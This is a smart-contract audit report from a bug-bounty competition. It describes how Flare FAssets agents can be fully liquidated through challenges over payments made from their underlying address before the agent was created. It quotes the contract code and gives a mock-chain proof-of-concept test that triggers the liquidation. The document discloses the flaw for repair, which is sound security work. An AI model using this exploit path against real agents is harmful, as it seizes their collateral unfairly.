#46953 [SC-High] agents who create agents with prior transactions can be instantly unfairly liquidated
#46953 [SC-High] AGENTS WHO CREATE AGENTS WITH PRIOR TRANSACTIONS CAN BE INSTANTLY UNFAIRLY LIQUIDATED
Submitted on Jun 6th 2025 at 16:14:01 UTC by @io10 for Audit Comp | Flare | FAssets
Report ID: #46953
Report Type: Smart Contract
Report severity: High
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/library/AgentsCreateDestroy.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The FAsset system allows agents to be created with underlying addresses on the target chain. While the system correctly prevents counting incoming payments (top-ups) made before an agent's creation, it fails to apply the same protection to outgoing transactions in the challenge mechanism. This inconsistency creates a critical vulnerability where agents can be unfairly liquidated for transactions that occurred before they were created.
Vulnerability Details
AgentsCreateDestroy::createAgentVault allows whitelisted agents to create agents under an asset manager in the FAsset system. The function allows agent creation with any valid underlying address on the target chain. See below:
function createAgentVault(
IIAssetManager _assetManager,
IAddressValidity.Proof calldata _addressProof,
AgentSettings.Data calldata _settings
)
internal
returns (address)
{
AssetManagerState.State storage state = AssetManagerState.get();
// reserve suffix quickly to prevent griefing attacks by frontrunning agent creation
// with same suffix, wasting agent owner gas
_reserveAndValidatePoolTokenSuffix(_settings.poolTokenSuffix);
// can be called from management or work owner address
address ownerManagementAddress = _getManagementAddress(msg.sender);
// management address must be whitelisted
Agents.requireWhitelisted(ownerManagementAddress);
// require valid address
TransactionAttestation.verifyAddressValidity(_addressProof);
IAddressValidity.ResponseBody memory avb = _addressProof.data.responseBody;
require(avb.isValid, "address invalid");
// create agent vault
IAgentVaultFactory agentVaultFactory = IAgentVaultFactory(Globals.getSettings().agentVaultFactory);
IIAgentVault agentVault = agentVaultFactory.create(_assetManager);
// set initial status
Agent.State storage agent = Agent.getWithoutCheck(address(agentVault));
assert(agent.status == Agent.Status.EMPTY); // state should be empty on creation
agent.status = Agent.Status.NORMAL;
agent.ownerManagementAddress = ownerManagementAddress;
// set collateral token types
agent.setVaultCollateral(_settings.vaultCollateralToken);
agent.poolCollateralIndex = state.poolCollateralIndex;
// set initial collateral ratios
agent.setMintingVaultCollateralRatioBIPS(_settings.mintingVaultCollateralRatioBIPS);
agent.setMintingPoolCollateralRatioBIPS(_settings.mintingPoolCollateralRatioBIPS);
// set minting fee and share
agent.setFeeBIPS(_settings.feeBIPS);
agent.setPoolFeeShareBIPS(_settings.poolFeeShareBIPS);
agent.setBuyFAssetByAgentFactorBIPS(_settings.buyFAssetByAgentFactorBIPS);
// claim the underlying address to make sure no other agent is using it
// for chains where this is required, also checks that address was proved to be EOA
state.underlyingAddressOwnership.claimAndTransfer(ownerManagementAddress, address(agentVault),
avb.standardAddressHash, Globals.getSettings().requireEOAAddressProof);
// set underlying address
agent.underlyingAddressString = avb.standardAddress;
agent.underlyingAddressHash = avb.standardAddressHash;
uint64 eoaProofBlock = state.underlyingAddressOwnership.underlyingBlockOfEOAProof(avb.standardAddressHash);
agent.underlyingBlockAtCreation = SafeMath64.max64(state.currentUnderlyingBlock, eoaProofBlock + 1);
// add collateral pool
agent.collateralPool = _createCollateralPool(_assetManager, address(agentVault), _settings);
// run the pool setters just for validation
agent.setPoolExitCollateralRatioBIPS(_settings.poolExitCollateralRatioBIPS);
agent.setPoolTopupCollateralRatioBIPS(_settings.poolTopupCollateralRatioBIPS);
agent.setPoolTopupTokenPriceFactorBIPS(_settings.poolTopupTokenPriceFactorBIPS);
// handshake type
agent.setHandshakeType(_settings.handshakeType);
// add to the list of all agents
agent.allAgentsPos = state.allAgents.length.toUint32();
state.allAgents.push(address(agentVault));
// notify
_emitAgentVaultCreated(ownerManagementAddress, address(agentVault), agent.collateralPool,
avb.standardAddress, _settings);
return address(agentVault);
}
Keep in mind that the only check present here makes sure that the underlying address is valid and contains no checks on whether the address contains previous transactions or not. This means that the system allows addresses that have a transaction history to be used as underlying addresses for agents. This is further confirmed in UnderlyingBalance::confirmTopupPayment which contains the following check:
require(_payment.data.responseBody.blockNumber >= agent.underlyingBlockAtCreation,
"topup before agent created");
This check means that the protocol are aware and accept that underlying addresses with a transaction history can be used to create agents. The issue arises via Challenges::illegalPaymentChallenge which is a function that allows challengers to liquidate users who make payments from the underlying address without a payment reference AFTER the agent has been initialized. See below:
function illegalPaymentChallenge(
IBalanceDecreasingTransaction.Proof calldata _payment,
address _agentVault
)
internal
{
AssetManagerState.State storage state = AssetManagerState.get();
Agent.State storage agent = Agent.get(_agentVault);
// if the agent is already being fully liquidated, no need for more challenges
// this also prevents double challenges
require(agent.status != Agent.Status.FULL_LIQUIDATION, "chlg: already liquidating");
// verify transaction
TransactionAttestation.verifyBalanceDecreasingTransaction(_payment);
// check the payment originates from agent's address
require(_payment.data.responseBody.sourceAddressHash == agent.underlyingAddressHash,
"chlg: not agent's address");
// check that proof of this tx wasn't used before - otherwise we could
// trigger liquidation for already proved redemption payments
require(!state.paymentConfirmations.transactionConfirmed(_payment), "chlg: transaction confirmed");
// check that payment reference is invalid (paymentReference == 0 is always invalid payment)
bytes32 paymentReference = _payment.data.responseBody.standardPaymentReference;
if (paymentReference != 0) {
if (PaymentReference.isValid(paymentReference, PaymentReference.REDEMPTION)) {
uint256 redemptionId = PaymentReference.decodeId(paymentReference);
Redemption.Request storage redemption = state.redemptionRequests[redemptionId];
// Redemption must be for the correct agent and
// only statuses ACTIVE and DEFAULTED mean that redemption is still missing a payment proof.
// We do not check for timestamp of the payment, because on UTXO chains legal payments can be
// delayed by arbitrary time due to high fees and cannot be canceled, which could lead to
// unnecessary full liquidations.
bool redemptionActive = redemption.agentVault == _agentVault
&& (redemption.status == Redemption.Status.ACTIVE ||
redemption.status == Redemption.Status.DEFAULTED);
require(!redemptionActive, "matching redemption active");
}
if (PaymentReference.isValid(paymentReference, PaymentReference.ANNOUNCED_WITHDRAWAL)) {
uint256 announcementId = PaymentReference.decodeId(paymentReference);
// valid announced withdrawal cannot have announcementId == 0 and must match the agent's announced id
// but PaymentReference.isValid already checks that id in the reference != 0, so no extra check needed
require(announcementId != agent.announcedUnderlyingWithdrawalId, "matching ongoing announced pmt");
}
}
// start liquidation and reward challengers
_liquidateAndRewardChallenger(agent, msg.sender, agent.mintedAMG);
// emit events
emit IAssetManagerEvents.IllegalPaymentConfirmed(_agentVault, _payment.data.requestBody.transactionId);
}
Challenges can be made to agents that have just been created that have any outgoing transactions which should not be allowed given that these transactions were made before the agent was created. UnderlyingBalance::confirmTopupPayment makes sure any previous payments prior to agent creation are not included in the fAsset internal accounting but any outgoing payments from the underlying address are not stopped from being challenged. As a result, fresh agents can immediately be liquidated unfairly.
Impact Details
Unfair Liquidations: Agents can be liquidated for transactions they had no control over, as these transactions occurred before the agent was created. This is particularly problematic because:
The agent has no way to prevent these liquidations
The agent's collateral can be seized for actions they didn't commit
Financial Losses: The impact extends to direct financial losses:
Agents lose their deposited collateral
Legitimate agents may be discouraged from participating
Recommendations
Add a check in the agent creation process to verify the underlying address has no outgoing transactions
Add validation in the agent creation process to ensure the underlying address is "clean"
Implement a mechanism to track and verify the transaction history of underlying addresses
Proof of Concept
Proof Of Code
static async createTest1(ctx: AssetContext, ownerAddress: string, underlyingAddress: string, receiverAddress: string, options?: AgentCreateOptions): Promise<[Agent, string]> {
if (!(ctx.chain instanceof MockChain)) assert.fail("only for mock chains");
// mint some funds on underlying address (just enough to make EOA proof)
if (ctx.chainInfo.requireEOAProof) {
ctx.chain.mint(underlyingAddress, ctx.chain.requiredFee.addn(1));
}
// create mock wallet
const wallet = new MockChainWallet(ctx.chain);
const txHash = await wallet.addTransaction(underlyingAddress, receiverAddress, 1, null); //c for testing purposes
// complete settings
const settings = createTestAgentSettings(options?.vaultCollateralToken ?? ctx.usdc.address, options);
return [await Agent.create(ctx, ownerAddress, underlyingAddress, wallet, settings), txHash];
}
it("unfair liquidation on transactions made before agent was created", async () => { //c for testing purposes
const [agent, txHash1] = await Agent.createTest1(context, agentOwner1, underlyingAgent1, minterAddress1);
const challenger = await Challenger.create(context, challengerAddress1);
// make agent available
const fullAgentCollateral = toWei(3e8);
await agent.depositCollateralsAndMakeAvailable(fullAgentCollateral, fullAgentCollateral);
// update block
await context.updateUnderlyingBlock();
const proof1 = await context.attestationProvider.proveBalanceDecreasingTransaction(txHash1, underlyingAgent1);
//c challenge is successful even though the transaction was made before the agent was created
await challenger.illegalPaymentChallenge(agent, txHash1);
await agent.checkAgentInfo({ status: AgentStatus.FULL_LIQUIDATION }, "reset");
});
Was this helpful?